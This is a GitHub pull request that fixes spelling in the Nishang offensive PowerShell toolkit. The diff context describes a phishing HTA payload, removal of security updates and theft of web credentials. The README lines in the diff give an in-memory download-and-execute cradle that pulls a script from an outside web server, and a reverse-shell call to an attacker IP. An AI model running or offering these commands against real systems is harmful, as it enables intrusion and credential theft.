Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix minor spelling errors #77

Open
wants to merge 11 commits into
base: master
Choose a base branch
from
2 changes: 1 addition & 1 deletion Client/Out-HTA.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@ a live page related to Windows Defender from Microsoft website to look legit.
Payload which you want execute on the target.

.PARAMETER PayloadURL
URL of the powershell script which would be executed on the target.
URL of the PowerShell script which would be executed on the target.

.PARAMETER PayloadScript
Path to the PowerShell script to be encoded in the HTA which would be executed on the target.
Expand Down
2 changes: 1 addition & 1 deletion Escalation/Remove-Update.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ This payload removes updates from a target machine. This could be
used to remove all updates, all security updates or a particular update.

.PARAMETER KBID
THE KBID of update you want to remove. All and Security are also validd.
THE KBID of update you want to remove. All and Security are also valid.

.EXAMPLE
PS > Remove-Update All
Expand Down
2 changes: 1 addition & 1 deletion Gather/Get-WebCredentials.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ function Get-WebCredentials
Nishang script to retrieve web credentials from Windows vault (requires PowerShell v3 and above)

.DESCRIPTION
This script can be used to retreive web credentiaks stored in Windows Valut from Windows 8 onwards. The script
This script can be used to retreive web credentiaks stored in Windows Vault from Windows 8 onwards. The script
also needs PowerShell v3 onwards and must be run from an elevated shell.

.EXAMPLE
Expand Down
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -36,7 +36,7 @@ PS C:\nishang> Get-Help Get-WLAN-Keys -Full
```

#### Anti Virus
Nishang scripts are flagged by many Anti Viruses as malicious. The scrripts on a target are meant to be used in memory which is very easy to do with PowerShell. Two basic methods to execute PowerShell scripts in memory:
Nishang scripts are flagged by many Anti Viruses as malicious. The scripts on a target are meant to be used in memory which is very easy to do with PowerShell. Two basic methods to execute PowerShell scripts in memory:

Method 1. Use the in-memory dowload and execute:
Use below command to execute a PowerShell script from a remote shell, meterpreter native shell, a web shell etc. and the function exported by it. All the scripts in Nishang export a function with same name in the current PowerShell session.
Expand All @@ -48,7 +48,7 @@ powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>
Method 2. Use the `-encodedcommand` (or `-e`) parameter of PowerShell
All the scripts in Nishang export a function with same name in the current PowerShell session. Therefore, make sure the function call is made in the script itself while using encodedcommand parameter from a non-PowerShell shell. For above example, add a function call (without quotes) `"Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]"`.

Encode the scrript using Invoke-Encode from Nishang:
Encode the script using Invoke-Encode from Nishang:

```powershell
PS C:\nishang> . \nishang\Utility\Invoke-Encode
Expand Down